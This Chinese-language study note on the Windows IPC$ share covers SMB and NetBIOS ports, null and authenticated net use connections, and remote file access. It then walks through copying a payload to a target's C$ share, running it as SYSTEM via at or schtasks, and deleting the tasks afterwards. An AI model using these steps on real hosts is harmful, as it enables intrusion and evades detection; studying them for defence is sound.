2025-06-23 06:20:41 2010世界杯进球

IPC$学习笔记

IPCIPC(Internet Process Connection) 共享"命名管道"的资源,是为了实现进程间通信而开发的命名管道。IPC可以通过验证用户名和密码获取相应权限。通过IPC、D、E……)和系统目录共享(Admin)。

IPC$使用条件开放了139、445端口;IPC$可以实现远程登陆,以及对默认共享资源的访问。开放139端口表示NetBIOS已经应用。通过139、445端口可以对共享文件和打印机的访问。目标开启文件共享;默认共享是开启了的,爆库所有逻辑盘(C、D、E)和系统目录winnt或者windows(admin)。获取用户账号密码。获得账号密码之后可以利用IPC$进行访问137、138、139、445端口137端口主要用于“NetBIOS Name Service” NetBIOS名称服务137端口主要用于“NetBIOS Name Service”(NetBIOS名称服务),属于UDP端口,使用者只需要向局域网或互联网上的某台计算机的137端口发送一个请求,就可以获取该计算 机的名称、注册用户名,以及是否安装主域控制器、IIS是否正在运行等信息。此外非法入侵者还能知道目标主机是否是作为文件服务器或主域控制器来使用。138端口提供NetBIOS的浏览功能。在局域网中相互传输文件信息时,就会发生作用。而138端口的主要作用就是提供NetBIOS环境下的计算机名浏览功能。非法入侵者要是与目标主机的138端口建立连接请求的话,就能轻松获得目标主机所处的局域网网络名称以及目标主机的计算机名称。139端口是为“NetBIOS Session Service”提供的。主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息。445端口也是一种TCP端口,该端口在Windows 2000 Server或Windows Server 2003系统中发挥的作用与139端口是完全相同的。445也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(服务器协议族)对外提供共享服务。同样地,攻击者与445端口建立请求连接,也能获得指定局域网内的各种共享信息。要关闭文件共享可以同时关闭139和445端口。IPC$查看共享命令代码语言:javascript代码运行次数:0运行复制net use #查看本机建立的连接(本机连接其他机器)

net session #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行

net share #查看本地开启的共享

net share ipc$ #开启ipc$共享

net share ipc$ /del #删除ipc$共享

net share admin$ /del #删除admin$共享

net share c$ /del #删除C盘共享

net share d$ /del #删除D盘共享

net use * /del #删除所有连接

输入 net share 可以查看开启的共享。

IPC$连接代码语言:javascript代码运行次数:0运行复制net use \\10.10.10.80 #与10.10.10.80建立ipc空连接

net use \\10.10.10.80\ipc$ #与10.10.10.80建立ipc空连接

net use \\10.10.10.80\ipc$ /u:"" "" #与10.10.10.80建立ipc空连接

net view \\10.10.10.80 #查看远程主机开启的默认共享

net use \\10.10.10.80/u:"administrator" "123456" #以administrator身份与10.10.10.80建立ipc连接

net use \\10.10.10.80/del #删除建立的ipc连接

net time \\10.10.10.80 #查看该主机上的时间

net use \\10.10.10.80\c$ /u:"administrator" "123456" #建立C盘共享

dir \\10.10.10.80\c$ #查看10.10.10.80盘文件

dir \\10.10.10.80\c$\user #查看10.10.10.80盘文件下的user目录

dir \\10.10.10.80\c$\user\test.exe #查看10.10.10.80盘文件下的user目录下的test.exe文件

net use \\10.10.10.80\c$ /del #删除该C盘共享连接

net use k: \\10.10.10.80\c$ /u:"administrator" "123456" #将目标C盘映射到本地K盘

net use k: /del #删除该映射

使用密码连接IPC$共享建立IPC$非空连接

代码语言:javascript代码运行次数:0运行复制net use \\10.10.10.80 /u:"administrator" "密码"

IPC空连接

在Windows NT中,是使用 NTLM挑战响应机制认证。空会话是在没有信任的情况下与服务器建立的空连接,对方开启IPC$共享,并且你不用提供用户名和密码就可以连接上对方服务器!建立了一个空的连接后,黑客可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。

建立IPC$空连接命令

代码语言:javascript代码运行次数:0运行复制建立IPC空连接

net use \\10.10.10.201

或 net use \\10.10.10.201 /u:"" ""

或 net use \\10.10.10.201\ipc$ /u:"" ""

值得注意的是在Windows2003以后,空连接什么权限都没有,也就是说并没有太大实质的用处。有些主机的 Administrator 管理员的密码为空,那么我们可以尝试使用IPC空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。或者进入之后权限很低,命令都没有权限执行

建立连接之后的操作使用管理员组内用户(administrator或其他管理员组内用户均可)建立IPC$连接,可以执行以下所有命令。

dir命令在和对方建立IPC$连接之后,可以使用dir命令列车对方主机的文件。

也可也在文件管理中使用命令查看对方的文件目录,还可以进行进一步的操作

tasklist命令在建立连接的情况下,可以使用tasklist命令查看对方的进程

代码语言:javascript代码运行次数:0运行复制tasklist /S 10.10.10.201 /U administrator -P 密码

IPC$连接失败的原因及常见错误号连接失败原因

用户名或密码错误目标主机没有开启IPC$共享不能成功连接目标主机的139、445端口命令输入错误常见错误号

错误号5:拒绝访问错误号51:Windows无法找到网络路径,及网络中存在问题错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接错误号1326:未知的用户名或错误的密码错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)错误号2242:此用户的密码已经过期。使用IPC$连接之后的计划任务操作计划任务用到的命令就是 at 和 schtasks这两个命令,值得注意的是at命令是windows自带的创建计划任务的命令,它在Windows Vista、Windows Server 2008及之后的操作系统以及不使用at命令了,转为使用schtasks命令!

at命令使用在使用at命令大致的流程如下:

使用net time名字确定目标主机当前系统的时间使用copy命令将payload文件复制过去使用at命令计划时间启动payload文件删除at命令创建计划任务记录在操作之前都已经建立了连接,然后使用net time查看对方系统当前时间

代码语言:javascript代码运行次数:0运行复制net time \\10.10.10.80

接着将文件复制到目标系统中

代码语言:javascript代码运行次数:0运行复制copy artifact.exe \\10.10.10.80\c$

使用at创建计划任务

代码语言:javascript代码运行次数:0运行复制at \\10.10.10.80 15:49:50 C:\artifact.exe

清除at记录

计划任务不会因为任务执行完成了就会随之删除。可以自己删除自己创建的计划任务

代码语言:javascript代码运行次数:0运行复制at \\10.10.10.80 2 /delete

at命令还可以执行命令,然后把结果写入文本文档中,然后使用type命令远程读取文本文档

schtasks命令使用schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。

创建一个名称为"test"的计划任务,启动权限为system

代码语言:javascript代码运行次数:0运行复制schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在远程主机运行“test”任务

代码语言:javascript代码运行次数:0运行复制schtasks /run /s 10.10.10.80 /i /tn "test"

这样的话payload就在目标主机运行了

执行完成之后就删除计划任务

代码语言:javascript代码运行次数:0运行复制schtasks /delete /s 10.10.10.80 /tn "test" /f

接着删除IPC$

代码语言:javascript代码运行次数:0运行复制net use \\10.10.10.80 /del /y

在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。

在未建立IPC$连接的时候代码语言:javascript代码运行次数:0运行复制schtasks /create /tn "test" /tr C:\Program Files\Windows NT\base.bat /sc once /st 4:50 /S 10.10.10.80 /RU System /u administrator /p "1qaz@WSX"

schtasks /run /tn "test" /S 10.10.10.80 /u administrator /p "1qaz@WSX" /i #立即执行

schtasks /F /delete /tn "test" /S 10.10.10.87 /u administrator /p "1qaz@WSX"

这个时候是没有建立连接,并且是有时间计划的任务,等待一会之后payload就会运行

参数的意思:

/create表示创建计划任务/tn 表示任务名/tr指定运行的文件/sc 是任务运行频率/st 是执行时间/s 指定远程机器名或 ip 地址/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM/i 表示立即运行/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告/delete是删除任务。